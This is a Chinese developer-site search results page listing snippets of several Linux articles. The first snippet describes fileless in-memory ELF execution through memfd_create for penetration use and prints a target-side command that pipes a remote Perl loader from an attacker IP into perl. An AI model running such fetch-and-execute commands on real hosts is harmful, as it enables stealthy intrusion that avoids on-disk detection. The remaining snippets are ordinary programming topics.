首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Linux文件渗透执行ELF

02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

5.4K80

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行的二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell...Script on Linux Using SHC

8.9K20

C# dotnet 解决 Path 获取文件名路径在 Windows 构建在 Linux 执行问题

此时在 Linux 上尝试获取文件名就炸了 在 dotnet 中,可以通过 CallerFilePath 特性获取调用当前方法的文件路径是哪个,请看下面代码 public void DoProcessing...Sample Output: // message: Something happened. // member name: DoProcessing // source file path: c:...因此在 Windows 服务器构建的 NuGet 包给日志注入字符串是构建服务器上的代码文件的路径 而我记日志只是使用了文件名而已,如下面代码 public static void LogInfo...下构建的在 Linux 下运行,而在 Windows 构建的库在 Windows 下执行。...系统的文件路径的坑,在这里被坑了几次了 更好的解决方法是在 Linux 运行的内容就在 Linux 构建,本来我的主项目也是在 Linux 构建的。

1.4K10

Linux【模拟实现C语言文件流】

---- 前言 在 C语言 的文件流中,存在一个 FILE 结构体类型,其中包含了文件的诸多读写信息以及重要的文件描述符 fd,在此类型之上,诞生了 C语言 文件相关操作,如 fopen、fclose、...fwrite 等,这些函数本质上都是对系统调用的封装,因此我们可以根据系统调用和缓冲区相关知识,模拟实现出一个简单的 C语言 文件流 本文重点 : 模拟实现 FILE 及 C语言 文件操作相关函数 注意...放入 myinclude 文件夹中,并打包为相应的动态库(详见 Makefile 文件内容) Makefile (位于 myinclude 文件夹中) getBinFile:myStdio.c gcc...o *.so 将目标程序进行编译(需要带上头文件、库文件、库名等信息,详见 Makefile 文件) Makefile (位于当前程序所在文件夹中) Stream:test.c gcc -o...---- 总结 以上就是本次关于 Linux【模拟实现C语言文件流】的全部内容了,通过 系统调用+缓冲区,我们模拟实现了一个简单版的 myStdio 库,在模拟实现过程中势必会遇到很多问题,而这些问题都能帮助你更好的理解缓冲区的本质

18210

详解 Linux执行文件 ELF 文件的内部结构

有了上面汇编语言调用 C 语言的基础,我们就可以做到让汇编语言编写的 loader 拉起用 C 语言编写的内核了,本文我们就来详细了解一下编译后的可执行文件 — ELF 文件的结构,下一篇文章将会介绍如何通过汇编将...在 linux 中,可执行文件、Object文件、动态库文件都是ELF格式文件,他相当于 windows 操作系统中的 PE 文件。 通过 readelf 命令可以读取 ELF 文件的内容。 3....别忘了我们的目标,我们需要通过汇编语言编写的 loader 程序将在 linux 环境上编译的 C 语言内核程序载入到内存并执行,因此,实际上我们只需要知道 ELF 文件需要如何被载入内存,并从哪里开始执行...http://www.choudan.net/2013/11/16/Linux%E8%BF%9B%E7%A8%8B%E5%9C%B0%E5%9D%80%E7%A9%BA%E9%97%B4%E5%86%8D...http://www.choudan.net/2013/10/25/Linux%E8%BF%9B%E7%A8%8B%E5%9C%B0%E5%9D%80%E7%A9%BA%E9%97%B4%E5%AD%A6%

2.5K20

Linux系统创建可执行文件软链接

这里我们使用的案例是通过TMalign这个蛋白质打分文件,在编译好可执行文件之后,可以使用建立软链接的方法快捷的使用该可执行文件。...编译之后就会在当前路径下生成一个名为TMalign的可执行文件: $ ll 总用量 3036 drwxrwxr-x 2 dechin dechin 4096 5月 6 13:58 ./ drwxrwxr-x...,有时候会遇到想把可执行文件放在特定的路径下的问题,比如放到/usr/bin目录下,这样可以全局可调用,又不需要手动添加各种乱七八糟的系统路径。...这就需要使用到Linux中的软链接的功能,通常使用ln -s的指令即可。...本文顺带介绍了蛋白质结构评分软件TMalign的源码下载和安装使用的基本方法,编译成一个可执行文件后,可以建立一个软链接,在系统各处都可以使用,是一个比较基础的操作。

2.8K20
领券